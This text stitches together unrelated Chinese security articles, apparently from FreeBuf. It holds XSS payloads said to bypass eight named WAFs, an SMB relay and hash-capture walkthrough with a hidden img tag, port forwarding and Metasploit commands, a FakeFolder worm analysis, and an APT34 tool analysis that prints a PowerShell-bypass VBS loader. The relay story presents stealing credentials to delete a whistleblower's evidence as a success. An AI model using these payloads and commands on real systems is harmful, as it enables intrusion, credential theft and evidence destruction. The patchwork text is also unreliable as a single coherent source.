'<{javascript}<'
'>{javascript}>'

Payload机制#2

{quote}{delimiter}{javascript}//

可以使用下列Payload机制来构建Payload:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

防火墙绕过

在研究过程中,总共绕过了八款WAF。下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术:

WAF名称:Cloudflare

Payload:<a”/onclick=(confirm)()>click

绕过技术:非空格填充

WAF名称:Wordfence

Payload:<a/href=javascript&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Barracuda

Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:Comodo

Payload:<d3v/onauxclick=(((confirm)))“>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:ModSecurity

Payload:<details/open/ontoggle=alert()>

绕过技术:黑名单中缺少标签或事件处理器

WAF名称:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆

参考资料

HTML规范:【传送门

数字字符引用:【传送门

* 参考来源:s0md3v,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

SMB又名网络文件共享文件,顾名思义其作用是用于用户与服务端之间的文件交互。默认端口为139,445。SMB的认证过程在这里就不重复描述了,具体可以看我上一篇写的文章,路由器抓包分析之SMB篇。在认证的时候细心的同学一定会发现在Windows下访问SMB服务器会默认使用当前用户hash去向SMB服务器发起认证。下面的实验便与这个机制有关。

实验环境:

windows 7 (smb server)               192.168.0.100

window7(bob管理的网站)              192.168.0.2

kali(攻击机/路人甲)                         192.168.0.122(因为懒直接用同一网段IP了,大家可以假装这台是外网机器)

实验模拟:Bob是公司网站管理员,一天同部门的Alice发现Bob跟Boss老婆有一腿,决定向BOSS举报。并把证据上传到了SMB服务器,Bob知道后急忙到SMB服务器上查看,结果发现自己没有权限访问,于是急忙向好哥们路人甲救助。路人甲知道情况后一阵思考,决定用SMB中继来窃取凭证登陆SMB服务器,简单画一下原理图。

正常认证.png

正常认证

如图1为正常认证过程。

中继认证.png中继认证

如图2所示为以bob的网站服务器作为攻击机,但是服务器上存在杀毒软件,所以失败。

穿透认证.png

穿透内网中继认证

如图3所示为以Bob的服务器为代理,把服务器的445端口转发到外网VPS,再以VPS为攻击机进行中继攻击。

首先在公司主页上插入一段JS<img src=//192.168.0.2 hidden=”看不见我”>。因为Bob是网站管理员所以插入代码并不难,192.168.0.2是Bob管理的网站服务器,在Bob的公司每个人上班都需到官网打卡签到,前面也说到了SMB自动认证的机制,所以只要员工用IE(chrome和firefox亲测无效)访问公司官网就会进行自动认证。

原本想在网站服务器上直接装msf完成攻击的,但是Bob公司买了某60牌的杀毒软件。一装就会触发警报,所以路人甲决定把端口转发出来。

由于445是默认端口,要转发出来首先要停用服务。

Bob’s web server配置: 

打开注册表,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\NetBT\Parameters中添加SMBDeviceEnabled并设置值为0:

注册表.png

更改注册表

接着打开服务,找到server项,停止server服务,并在属性更改启动类型为禁用。

服务.png

服务

重启后就会发现445端口被关闭了。接着就可以把445端口转发至外网。

管理员运行:

netsh interface portproxyadd v4tov4  listenport=445connectaddress=192.168.0.122 connectport=8080

转发端口.png端口转发

外网VPS/攻击机上配置:

启动msf

use exploit/windows/smb/smb_relay 

set smbhost 192.168.0.100 

set srvport 8080

这里少了一步内网转发,可以用ants,ew,lcx,web代理等等等把内网代理转发到外网。

opoins.png

配置msf

接着运行等待,果不其然,在第二天早上所有员工打卡之后,终于抓到了有权限登陆SMB服务器的hash并进行中继,拿到了smb服务器的权限,成功删除了证据。

succeed.png

成功拿到SMB服务器权

实验模拟2:

上面说到Alice发现Bob与BOSS老婆有一腿,然后Alice把证据上传到了SMB服务器准备举报,在Bob的好哥们路人甲的帮助下删除了证据。但是Bob仍旧担心Alice的PC机内会存有证据的备份,Bob只能继续救助自己的好哥们路人甲。

路人甲通过Bob知道了Alice在内网的IP为192.168.0.3。首先路人甲用smb_touch扫描192.168.0.3的445端口,发现Alice的PC竟然用的是XP,都2019了竟然还有人用XP。既然能访问445还是XP系统直接使用永恒之蓝对其进行攻击,发现攻击失败。背后通过Bob得知全公司的内网PC都安装了某60的杀毒软件。

360.jpg

未命名

某60为XP保驾护航,既然安装了某60的杀毒软件,许多攻击都无法进行,只能另想办法,于是路人甲便想到了把自己的攻击机伪 装SMB服务器,让其他用户向其认证进行抓取hash。原理图2所示:

原理图.png

原理图

Bob web server 配置:

1.在Web首页上加上js代码<imgsrc=//192.168.0.2 hidden=”看不见我”>(Bob管理公司服务器官网,员工每天上班需到官网打卡签到,当IE浏览器访问时就会触发自认证操作);

2.关闭445端口,将445端口转发到192.168.0.122的8080端口。(因为装了某60杀毒软件,需要转发端口到外网,具体操作见上一篇文章)。

路人甲VPS:

启动msf并配置:

use auxiliary/server/capture/smb 

set srvport 8080 

exploit

options.png

msf配置

如图11所示这里我们可以看到配置中有challenge这一项,这里之所以把challenge设为1122334455667788是因为已经有人通过这个挑战值生成了彩虹表,这样可以减少跑hash所花费的时间。

配置完之后只需静静等待Alice明天打卡上班就可以抓到她的hash了。

ntlmv1.png

           成功抓取hash值

通过组合hash得到Net-ntlmv1:

Administrator::FUCK1:6822b126aac81581dbcc3576a52dc4612f85252cc731bb25:a77b6fbd0247c656be59e409ae3a01c07ca6bbc11dec9322:1122334455667788

接着把hash扔进hashcat跑出明文密码,利用psexec通过445端口对Alice机子进行命令执行,然后全盘搜索,成功删除了证据文件。

*本文作者:꧁,转载请注明来自FreeBuf.COM

1. 背景概述

近期,深信服安全团队接到客户反馈,内网中出现了大量伪造成文件夹的可疑exe文件,删掉以后仍会反复。经深信服安全团队分析发现,这是一个蠕虫病毒FakeFolder,该病毒会通过U盘及共享文件夹进行传播,一旦主机感染了该病毒,文件系统中的文件夹都会被隐藏,取而代之的是一个伪装的病毒文件,当用户运行病毒文件时,也会弹出对应文件夹的窗口,因此不易被察觉;只要系统中还残留着一个FakeFolder病毒文件,就会对主机进行反复感染。

深信服安全团队提取了该蠕虫病毒文件,并对其进行了详细的技术。

2. 病毒原理

[1] 病毒首先会创建一个子进程并注入恶意代码进行核心操作,从而避开杀软的查杀。

[2] 子进程会释放要给ghi.bat脚本进行主机、网络信息的收集。

[3] 进行完以上操作后,病毒开始感染文件夹,并配和autorun.inf实现重复感染。

[4] 最后,病毒还有创建两个定时器,定时监控注册表实现持久化攻击,以及定时访问windows服务器实现伪装。

1.png

3. 病毒现象

被感染主机,系统中的文件夹全部变成了328KB的可执行文件:

2.png

病毒为一个文件夹图标的wmimgmt.exe进程:

3.png

4. 病毒母体分析

病毒使用MFC编写,首先会进行一些初始化操作,包括:获取system32路径、动态获取系统函数地址、获取系统安装的杀软信息,如果没有安装卡巴斯基则执行后续恶意行为:

4.png

若未检测到杀软进程,则病毒代码将进入到0x402DD0开始进程注入的操作。

4.1 注入环节(0x402F70 -> 0x402DD0)

该环节,病毒会读取资源节中的恶意代码(一个PE文件),然后以挂起状态创建子进程,调用WriteProcessMemory将恶意PE注入子进程并恢复进程:

5.png

5. 注入恶意代码分析(0x40B070)

我们将注入的恶意代码dump下来,分析发现,该段恶意代码首先会判断程序当前路径是否为C:\ProgramData\Application Data或C:\Documents and Settings\All Users,如果不是,则将其拷贝到相应目录下命名为wmimgmt.exe并运行。重复上述操作后,跳到0x40BE00执行核心恶意操作:

6.png

5.1 收集信息环节(0x40B070 -> 0x40BE00)

恶意代码会创建3个线程,分别执行创建互斥量、遍历磁盘、释放病毒脚本的操作:

7.png

脚本名为ghi.bat,主要操作为获取系统、网络以及进程信息:

8.png

做完以上操作后,会使用DialogBoxParamA创建一个模态对话框,用于监控执行恶意功能。

5.2 定时操作环节(0x40B070 -> 0x40BE00 -> 0x40BF70)

调用SetTimer设置2个定时器,分别为10秒和30秒,定时触发后面3个行为:

[1]HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden\UncheckedValue置为0,不显示隐藏文件及文件夹。

9.png

[2] 添加开机自启动项HKLM\Software\Microsoft\Windows\CurrentVersion\Run\wmi32:

10.png

[3]查询域名“windowsupdate.microsoft.com”地址:

11.png

5.3 感染磁盘环节(0x40B070 -> 0x40BE00 -> 0x40BF70 -> 0x40C460)

当初始化或者硬件设备发生改变时,回调的方式执行DialogFunc执行感染流程,感染对象为USB磁盘和网络磁盘:

12.png

经过一系列的判断,终于来到了感染的核心环节,病毒会创建 C:\RECUCLER\wmimgmt.exe和AuToRUn.iNf实现重复感染。wmimgmt.com为病毒的克隆体。AuToRUn.iNf的代码如下,功能为当用户打开文件夹时,自动执行C:\RECYCLER\wmimgmt.exe重复感染:

13.png

wmimgmt.exe病毒文件有特殊属性,在正常情况下不会显示出来:

14.png

最后,便是执行我们开头见到的篡改文件夹操作,病毒先将原文件夹隐藏,然后将病毒自身克隆成文件夹的样子,命名为“文件夹名+.exe”:

15.png

运行感染的病毒程序,会打开病毒所伪装的文件夹,从而避免被受害者发现异常:

16.png

感染后的文件夹如下图所示:

17.png

0x00 前言

最近APT34的6款工具被泄露,本文仅在技术角度对其中的PoisonFrog和Glimpse进行分析。

参考资料:

https://malware-research.org/apt34-hacking-tools-leak/amp/

0x01 简介

本文将要介绍以下内容:

· 对PoisonFrog的分析

· 对Glimpse的分析

· 小结

0x02 对PoisonFrog的分析

对应泄露文件的名称为posion frog。

包括两部分文件:

· agent,包含文件poisonfrog.ps1,是通过powershell实现的木马程序

· server side,对应木马控制端,使用Node.js开发

一、agent实现的功能

1、在%public%\Public文件夹下释放三个文件

· dUpdater.ps1

· hUpdater.ps1

· UpdateTask.vbs

注:%public%\Public默认为隐藏文件夹。

释放文件的具体功能如下:

(1)dUpdater.ps1

1.生成一个当前系统的专有标志

2.读取当前系统的代理设置

3.通过HTTP协议从c2服务器下载文件

4.根据下载文件的内容进行下一步操作,包括执行命令,上传文件和下载文件

(2)hUpdater.ps1

1.生成一个当前计算机的专有标志

2.创建以下文件夹

· %public%\Public<id>

· %public%\Public<id>\reveivebox

· %public%\Public<id>\sendbox

· %public%\Public<id>\done

3.通过DNS A记录从c2服务器接收控制命令

4.执行命令并回传结果

(3)UpdateTask.vbs

内容如下:

command0 = "Powershell.exe -exec bypass -file C:\Users\Public\Public\hUpdater.ps1"
set Shell0 = CreateObject("wscript.shell")
shell0.run command0, 0, false
command1 = "Powershell.exe -exec bypass -file C:\Users\Public\Public\dUpdater.ps1"
set Shell1 = CreateObject("wscript.shell")
shell1.run command1, 0, false

用来加载powershell脚本dUpdater.ps1和hUpdater.ps1

2、创建两个计划任务

· 名称为\UpdateTasks\UpdateTask,每10分钟运行一次,以当前用户权限执行UpdateTask.vbs

· 名称为\UpdateTasks\UpdateTaskHosts,每10分钟运行一次,以System权限执行UpdateTask.vbs

二、 对server side的分析

通过Node.js实现。

使用时需要先通过npm安装第三方包,具体安装的命令位于文件install_pachages.bat中。

index.js为主体程序。

考虑到避免被滥用,控制端的代码不做具体分析,也不提供具体搭建的方法。

注:我在之前的文章《渗透测试中的Node.js——Downloader的实现》《渗透测试中的Node.js——利用C++插件隐藏真实代码》曾介绍过Node.js的使用,Node.js的基础知识可以参考这两篇文章。

使用Node.js实现server side有以下优点:

· 语法简单易懂

· 轻量又高效

· 可同时部署在Windows和Linux系统

三、该工具的公开线索

1.APT34曾利用CVE-2017-11882传播该木马,FireEye对样本进行过分析:

https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

2.Palo Alto Networks将其命名为Early BondUpdater,对样本的分析资料:

https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/

0x03 对Glimpse的分析

对应泄露文件的名称为Glimpse。

包括四部分文件:

· Agent,包含四个文件dns.ps1、dns_main.ps1、refineddns_main.ps1和runner_.vbs

· panel,包含一个c#开发的界面程序,是界面化的木马控制端

· server,是Node.js开发的木马控制端

· Read me.txt,配置说明文档

一、agent实现的功能

dns.ps1、dns_main.ps1和refineddns_main.ps1三个文件的功能相同。

原始版本为dns_main.ps1

dns.ps1和refineddns_main.ps1只是变量名称替换成了无意义的混淆字符串。

dns_main.ps1的功能如下:

1.创建文件夹%public%\Libraries

注:%public%\Libraries默认为隐藏文件夹。

2.判断文件%public%\Libraries\lock是否存在

· 如果不存在,创建文件并写入当前powershell进程的pid

· 如果文件存在,读取文件创建时间,如果距离现在的时间超过10分钟,那么会退出进程并删除lock文件

3.生成一个当前系统的专有标志,写入文件%public%\Libraries\quid

4.创建以下文件夹

· %public%\Libraries\files

· %public%\Libraries<id>

· %public%\Libraries<id>\reveivebox

· %public%\Libraries<id>\sendbox

· %public%\Libraries<id>\done

5.通过DNS A记录或DNS TXT记录从c2服务器接收控制命令

6.执行命令并回传结果

二、 对server的分析

通过Node.js实现。

使用时需要先通过npm安装第三方包,具体安装的命令位于文件Read me.txt中。

相比于PoisonFrog,Glimpse在代码结构上做了优化,并且添加了通过DNS TXT记录传输数据的功能。

考虑到避免被滥用,控制端的代码不做具体分析,也不提供具体搭建的方法。

三、该工具的公开线索

1.Palo Alto Networks将其命名为Updated BondUpdater,对样本的分析资料:

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

0x04 小结

对于PoisonFrog和Glimpse,虽然这次泄露了工具源码,但它们早在2017年已经被捕获样本,也被分析的很清楚,个人认为该工具不存在被大规模滥用的隐患。而使用DNS协议传输数据也是一个很古老的方法,个人认为该工具不会导致恶意软件技术的升级。